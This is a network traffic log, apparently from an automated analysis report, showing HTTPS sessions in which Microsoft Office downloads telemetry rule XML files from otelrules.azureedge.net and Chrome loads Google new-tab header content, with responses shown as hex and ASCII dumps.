2024-10-29 14:27:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:25 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: e5e4d1e5-f01e-0099-4ab6-299171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142725Z-r197bdfb6b4grkz4xgvkar0zcs00000006bg0000000027zb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:25 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:25 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:25 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:25 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: f6a2cc2d-401e-0015-3796-250e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142725Z-16849878b78smng4k6nq15r6s4000000083000000000h31d x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:25 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:25 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:25 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:25 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 79ba3cde-d01e-002b-6b10-2925fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142725Z-r197bdfb6b46krmwag4tzr9x7c00000006fg0000000051es x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 14:27:25 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:25 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:25 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: fd0e08e6-201e-0085-5f27-2634e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142725Z-r197bdfb6b42rt68rzg9338g1g00000007vg000000006vnm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:25 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:25 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:25 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:25 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: c32be80d-501e-0016-5c05-27181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142725Z-17c5cb586f6mhqqby1dwph2kzs00000001yg0000000082x7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:25 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	49795	172.217.18.100	443	7172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:25 UTC	506	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 14:27:26 UTC	1042	IN	HTTP/1.1 200 OK Version: 689297125 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 29 Oct 2024 14:27:26 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-29 14:27:26 UTC	336	IN	Data Raw: 31 65 64 61 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 31 64 20 67 62 5f 50 65 20 67 62 5f 70 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1eda)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-10-29 14:27:26 UTC	1378	IN	Data Raw: 20 67 62 5f 6e 64 20 67 62 5f 45 64 20 67 62 5f 6b 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 71 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-10-29 14:27:26 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 74 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_vd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_td\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_v
2024-10-29 14:27:26 UTC	1378	IN	Data Raw: 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 Data Ascii: vg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810
2024-10-29 14:27:26 UTC	1378	IN	Data Raw: 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 Data Ascii: 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18
2024-10-29 14:27:26 UTC	1378	IN	Data Raw: 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 37 36 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 Data Ascii: 2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700276,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(f
2024-10-29 14:27:26 UTC	680	IN	Data Raw: 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 59 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 59 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 56 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 68 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 5b 57 64 28 5c 22 64 61 74 61 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 57 64 28 5c 22 6d 61 69 6c 74 6f 5c 22 29 2c 57 64 28 5c 22 Data Ascii: is.trustedTypes;_.Yd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Zd\u003dnew _.Yd(\"about:invalid#zClosurez\");_.Vd\u003dclass{constructor(a){this.hh\u003da}};_.$d\u003d[Wd(\"data\"),Wd(\"http\"),Wd(\"https\"),Wd(\"mailto\"),Wd(\"
2024-10-29 14:27:26 UTC	424	IN	Data Raw: 31 61 31 0d 0a 3b 61 5c 75 30 30 33 64 2b 61 7d 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 29 72 65 74 75 72 6e 20 4e 75 6d 62 65 72 2e 69 73 46 69 6e 69 74 65 28 61 29 3f 61 7c 30 3a 76 6f 69 64 20 30 7d 3b 66 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 65 74 20 61 5c 75 30 30 33 64 6e 75 6c 6c 3b 69 66 28 21 65 65 29 72 65 74 75 72 6e 20 61 3b 74 72 79 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 63 5c 75 30 30 33 64 5c 75 30 30 33 65 63 3b 61 5c 75 30 30 33 64 65 65 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 28 5c 22 6f 67 62 2d 71 74 6d 23 68 74 6d 6c 5c 22 2c 7b 63 72 65 61 74 65 48 54 4d 4c 3a 62 2c 63 72 65 61 74 65 53 63 72 69 70 74 3a 62 2c 63 72 65 61 74 65 53 63 72 Data Ascii: 1a1;a\u003d+a}if(typeof a\u003d\u003d\u003d\"number\")return Number.isFinite(a)?a\|0:void 0};fe\u003dfunction(){let a\u003dnull;if(!ee)return a;try{const b\u003dc\u003d\u003ec;a\u003dee.createPolicy(\"ogb-qtm#html\",{createHTML:b,createScript:b,createScr
2024-10-29 14:27:26 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 6e 65 77 20 5f 2e 69 65 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 6b 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 69 65 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 6d 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 6c 65 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 6e 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 59 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 59 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 Data Ascii: 8000new _.ie(b?b.createScriptURL(a):a)};_.ke\u003dfunction(a){if(a instanceof _.ie)return a.i;throw Error(\"F\");};_.me\u003dfunction(a){if(le.test(a))return a};_.ne\u003dfunction(a){if(a instanceof _.Yd)if(a instanceof _.Yd)a\u003da.i;else throw Error(
2024-10-29 14:27:26 UTC	1378	IN	Data Raw: 33 64 62 7c 7c 64 6f 63 75 6d 65 6e 74 3b 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3f 61 5c 75 30 30 33 64 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 61 29 5b 30 5d 3a 28 63 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2c 61 3f 61 5c 75 30 30 33 64 28 62 7c 7c 63 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d Data Ascii: 3db\|\|document;c.getElementsByClassName?a\u003dc.getElementsByClassName(a)[0]:(c\u003ddocument,a?a\u003d(b\|\|c).querySelector(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTagName(\"*\"))[0]\|\|null));return a\|\|null}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	49793	172.217.18.100	443	7172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
